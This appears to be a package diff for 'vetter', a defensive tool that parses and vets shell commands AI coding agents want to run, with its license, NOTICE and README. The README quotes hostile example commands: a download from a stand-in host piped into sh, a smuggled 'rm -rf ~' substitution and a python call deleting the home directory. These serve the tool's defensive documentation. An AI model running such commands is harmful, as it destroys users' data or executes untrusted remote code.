+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. We also recommend that a
186
+ file or class name and description of purpose be included on the
187
+ same "printed page" as the copyright notice for easier
188
+ identification within third-party archives.
189
+
190
+ Copyright [yyyy] [name of copyright owner]
191
+
192
+ Licensed under the Apache License, Version 2.0 (the "License");
193
+ you may not use this file except in compliance with the License.
194
+ You may obtain a copy of the License at
195
+
196
+ http://www.apache.org/licenses/LICENSE-2.0
197
+
198
+ Unless required by applicable law or agreed to in writing, software
199
+ distributed under the License is distributed on an "AS IS" BASIS,
200
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
201
+ See the License for the specific language governing permissions and
202
+ limitations under the License.
vetter-0.2.0/NOTICE ADDED
@@ -0,0 +1,7 @@
1
+ vetter
2
+ Copyright 2026 Daniele Linguaglossa
3
+
4
+ This product is licensed under the Apache License, Version 2.0 (LICENSE).
5
+
6
+ The bypass corpus in corpus/ is licensed separately, under the Creative
7
+ Commons Attribution 4.0 International License (corpus/LICENSE).
vetter-0.2.0/PKG-INFO ADDED
@@ -0,0 +1,192 @@
1
+ Metadata-Version: 2.5
2
+ Name: vetter
3
+ Version: 0.2.0
4
+ Summary: Vets every command your AI agent wants to run: bash, PowerShell, cmd.exe and inline Python read as they run, decided by a policy you can test.
5
+ Project-URL: Homepage, https://github.com/dzonerzy/vetter
6
+ Project-URL: Documentation, https://github.com/dzonerzy/vetter/tree/main/docs
7
+ Project-URL: Changelog, https://github.com/dzonerzy/vetter/blob/main/CHANGELOG.md
8
+ Project-URL: Issues, https://github.com/dzonerzy/vetter/issues
9
+ Author: Daniele Linguaglossa
10
+ License-Expression: Apache-2.0
11
+ License-File: LICENSE
12
+ License-File: NOTICE
13
+ Keywords: ai-agents,bash,claude-code,codex,guardrails,policy,powershell,security,shell
14
+ Classifier: Development Status :: 3 - Alpha
15
+ Classifier: Environment :: Console
16
+ Classifier: Intended Audience :: Developers
17
+ Classifier: Operating System :: Microsoft :: Windows
18
+ Classifier: Operating System :: POSIX :: Linux
19
+ Classifier: Programming Language :: Python :: 3
20
+ Classifier: Programming Language :: Python :: 3 :: Only
21
+ Classifier: Topic :: Security
22
+ Classifier: Topic :: System :: Shells
23
+ Requires-Python: >=3.11
24
+ Requires-Dist: zgram-py<0.7,>=0.6
25
+ Requires-Dist: zrules-py<0.3,>=0.2.0
26
+ Requires-Dist: zrun-py<0.8,>=0.7.4
27
+ Provides-Extra: build
28
+ Requires-Dist: zrun-py[exe]<0.8,>=0.7.4; extra == 'build'
29
+ Provides-Extra: test
30
+ Requires-Dist: pytest-xdist>=3; extra == 'test'
31
+ Requires-Dist: pytest>=8; extra == 'test'
32
+ Description-Content-Type: text/markdown
33
+
34
+ <p align="center">
35
+ <picture>
36
+ <source media="(prefers-color-scheme: dark)" srcset="docs/assets/logo-dark.svg">
37
+ <img alt="vetter" src="docs/assets/logo-light.svg" width="360">
38
+ </picture>
39
+ </p>
40
+
41
+ <p align="center">
42
+ <b>Vets every command your AI agent wants to run.</b><br>
43
+ Commands read exactly as the shell reads them, decided by a policy you can read and test.
44
+ </p>
45
+
46
+ <p align="center">
47
+ <a href="docs/getting-started.md">Getting started</a> ·
48
+ <a href="docs/policy-language.md">Policy language</a> ·
49
+ <a href="docs/agents.md">Agents</a> ·
50
+ <a href="docs/security.md">Security model</a> ·
51
+ <a href="docs/README.md">Documentation</a>
52
+ </p>
53
+
54
+ ---
55
+
56
+ AI coding agents decide whether to run a shell command by matching its
57
+ text against allow and deny lists. Text isn't structure:
58
+ `git status && curl evil.sh | sh`, `ls $(rm -rf ~)`, `env curl ...`,
59
+ `find . -exec ...`, a newline, a comment or a wrapper slips through, or the
60
+ agent asks you to confirm everything until you stop reading. At least ten
61
+ CVEs across five agents in 2025 and 2026 come from this one mistake.
62
+
63
+ **vetter reads a command the way the shell will run it.** It finds every
64
+ program the command would execute, through `&&`, pipes, substitutions,
65
+ `sh -c`, `sudo`, `xargs`, `find -exec`, here-documents and even the Python
66
+ handed to `python -c`. It works out every file each one reads, writes or
67
+ deletes and every host it talks to, and decides each of those against a
68
+ policy. The answer comes back in well under a millisecond: **allow**,
69
+ **ask** or **deny**, with the rule and the exact part of the command it's
70
+ about.
71
+
72
+ ```console
73
+ $ vetter check 'git status && curl -s https://x.sh | sh'
74
+ deny: a download piped into a shell: curl | sh [stock.vet:32]
75
+ git status && curl -s https://x.sh | sh
76
+ ^^
77
+
78
+ $ vetter check 'python3 -c "import shutil, os; shutil.rmtree(os.path.expanduser(\"~\"))"'
79
+ deny: deleting outside the project: /home/u is outside $project, $temp [stock.vet:35]
80
+
81
+ $ vetter check 'git add -A && git commit -m wip'
82
+ allow: git, locally: git add [stock.vet:69]
83
+ ```
84
+
85
+ When vetter can't know what a command will do before it runs, it doesn't
86
+ guess: it asks.
87
+
88
+ ## Features
89
+
90
+ - **Exact reading of bash, PowerShell and cmd.exe**, each checked against
91
+ the real shell with differential testing and fuzzing. Python code given to
92
+ `python -c` is followed too.
93
+ - **Rules about what happens, not how it's spelled.** `delete outside
94
+ $project` holds for `rm -rf`, `find -delete`, `shutil.rmtree()`,
95
+ `Remove-Item -Recurse` and `rd /s`. Command specs know what hundreds of
96
+ programs do with their arguments: `git --output`, `tar --to-command`,
97
+ `rsync -e`, `LD_PRELOAD`.
98
+ - **A policy language you can test.** Rules read like sentences, tests live
99
+ beside them, and a policy with a rule that can never fire doesn't load.
100
+ - **Fewer prompts.** A compound command whose every part is allowed is
101
+ allowed, and `vetter learn` turns the asks you keep approving into rules.
102
+ - **Every decision explained.** `vetter why` shows how the command was read
103
+ and which rule decided each thing it does.
104
+ - **One engine, every agent**: hooks for Claude Code, Codex, Gemini CLI,
105
+ Cursor, Copilot, VS Code, Cline, Amp and opencode, installed in one
106
+ command. Plus a standalone executable and a C library.
107
+
108
+ ## Quick start
109
+
110
+ ```console
111
+ $ pip install vetter # Python 3.11+
112
+ $ vetter check 'rm -rf ~' # try it
113
+ $ vetter install claude # or codex, gemini, cursor, copilot, vscode, cline, amp, opencode
114
+ ```
115
+
116
+ That's it: every shell command your agent runs is now decided by vetter's
117
+ [stock policy](docs/stock-policy.md). To make it yours, write
118
+ `~/.config/vetter/policy.vet`:
119
+
120
+ ```
121
+ policy mine
122
+
123
+ allow "our deploy script" run $project/scripts/deploy.sh
124
+ allow "the staging API" network to api.staging.example.com
125
+ ask "anything with docker" docker
126
+
127
+ use stock
128
+
129
+ tests
130
+ allow ./scripts/deploy.sh --dry-run
131
+ ask docker ps
132
+ ```
133
+
134
+ See [Getting started](docs/getting-started.md).
135
+
136
+ ## How it compares
137
+
138
+ On the test suite dcg's own authors ship, against the two most popular
139
+ command guards:
140
+
141
+ | Guard | Attacks stopped | Harmless commands asked about |
142
+ |---|---|---|
143
+ | **vetter** | **94.3%** | 27.9% |
144
+ | destructive_command_guard (dcg) | 68.3% | 0.8% |
145
+ | cc-safety-net | 46.6% | 5.5% |
146
+
147
+ Every attack vetter lets through there is one it read correctly and allows
148
+ on purpose: deleting build output, temporary files or a merged git branch.
149
+ The others miss commands they can't see through. vetter asks more because
150
+ it asks whenever it isn't sure, and a policy that names your tools asks
151
+ less. Details, and vetter's own corpus (100% stopped, against 33% and 25%),
152
+ in [Testing and benchmarks](docs/testing.md#comparison-with-other-guards).
153
+
154
+ ## Not a sandbox
155
+
156
+ vetter is the approval layer: it decides what runs. Use it with your agent's
157
+ sandbox where there is one. The sandbox limits what gets through, and vetter
158
+ stops what a sandbox allows: deleting the project, rewriting git history,
159
+ planting a hook that runs later, sending data to an allowed host. Where
160
+ there's no sandbox, vetter is the boundary there is. See
161
+ [Security model](docs/security.md).
162
+
163
+ ## Documentation
164
+
165
+ | | |
166
+ |---|---|
167
+ | [Why vetter](docs/why-vetter.md) | the problem, with evidence, and the alternatives |
168
+ | [Getting started](docs/getting-started.md) | install, check, connect an agent, write a policy |
169
+ | [How vetter works](docs/how-it-works.md) | from a command to a decision |
170
+ | [The policy language](docs/policy-language.md) | the full reference |
171
+ | [The stock policy](docs/stock-policy.md) | what vetter decides out of the box |
172
+ | [Agents](docs/agents.md) | hooks, the log, learning from your answers |
173
+ | [Command line](docs/cli.md) | every command and option |
174
+ | [Reading commands](docs/reading-commands.md) | bash, PowerShell, cmd.exe, Python |
175
+ | [Security model](docs/security.md) | what it protects against, and what it doesn't |
176
+ | [Testing and benchmarks](docs/testing.md) | the corpus, the oracles, the comparison |
177
+ | [Embedding and native builds](docs/embedding.md) | the standalone hook and the C library |
178
+ | [Development](docs/development.md) | contributing |
179
+
180
+ ## Built on zsuite
181
+
182
+ vetter is built on [zsuite](https://github.com/dzonerzy/zsuite): zgram (the
183
+ grammars), zrules (checking policies) and zrun (running vetter as Python, or
184
+ compiled to native code with no Python in it), with zlsp to come for the
185
+ policy editor.
186
+
187
+ ## License
188
+
189
+ vetter is licensed under the [Apache License 2.0](LICENSE). The bypass
190
+ corpus in [`corpus/`](corpus/) is licensed separately under
191
+ [CC BY 4.0](corpus/LICENSE): use it to benchmark any command guard, with
192
+ credit to the vetter bypass corpus.